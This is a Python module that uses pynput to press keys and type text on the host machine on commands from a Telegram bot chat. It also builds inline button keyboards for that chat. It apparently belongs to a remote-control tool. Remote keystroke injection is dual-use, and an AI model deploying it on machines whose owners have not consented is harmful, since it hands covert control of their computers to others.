keyboard.py 2.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from core.logger import Log
  5. from telebot import types
  6. from pynput.keyboard import Controller, Key # pip install pynput
  7. special_keys = {
  8. # Main
  9. "ESC": Key.esc,
  10. "TAB": Key.tab,
  11. "ALT": Key.alt,
  12. "END": Key.end,
  13. "CTRL": Key.ctrl,
  14. "CAPS": Key.caps_lock,
  15. "ENTER": Key.enter,
  16. "SHIFT": Key.shift,
  17. "INSERT": Key.insert,
  18. "DELETE": Key.delete,
  19. "COMMAND": Key.cmd,
  20. "BACKSPACE": Key.backspace,
  21. # Arrows
  22. "PAGEDOWN": Key.page_down,
  23. "UP": Key.up,
  24. "PAGEUP": Key.page_up,
  25. "LEFT": Key.left,
  26. "DOWN": Key.down,
  27. "RIGHT": Key.right,
  28. # F1-F12 keys
  29. "F1": Key.f1,
  30. "F2": Key.f2,
  31. "F3": Key.f3,
  32. "F4": Key.f4,
  33. "F5": Key.f5,
  34. "F6": Key.f6,
  35. "F7": Key.f7,
  36. "F8": Key.f8,
  37. "F9": Key.f9,
  38. "F10": Key.f10,
  39. "F11": Key.f11,
  40. "F12": Key.f12,
  41. }
  42. controller = Controller()
  43. def SendKeyPress(key: str, chatid: int) -> None:
  44. if key in special_keys:
  45. Log("Keyboard >> Send key press " + key, chatid)
  46. controller.press(special_keys[key])
  47. controller.release(special_keys[key])
  48. def SendKeyText(keys: str, chatid: int) -> None:
  49. Log("Keyboard >> Send text " + keys, chatid)
  50. return controller.type(keys)
  51. def SendKeyboard(chatid, bot) -> None:
  52. mk = "SNDKEY_"
  53. Log("Keyboard >> Send keyboard ", chatid)
  54. for keys in [
  55. [*special_keys][0:12], # Main
  56. [*special_keys][12:18], # arrows
  57. [*special_keys][18:30]]: # F1-F12
  58. markup = types.InlineKeyboardMarkup(row_width=3)
  59. for key in range(1, len(keys), 3):
  60. k1 = keys[key - 1]
  61. k2 = keys[key]
  62. k3 = keys[key + 1]
  63. markup.add(
  64. types.InlineKeyboardButton(text=k1, callback_data=mk + k1),
  65. types.InlineKeyboardButton(text=k2, callback_data=mk + k2),
  66. types.InlineKeyboardButton(text=k3, callback_data=mk + k3),
  67. )
  68. bot.send_message(chatid, "keyboard", reply_markup=markup)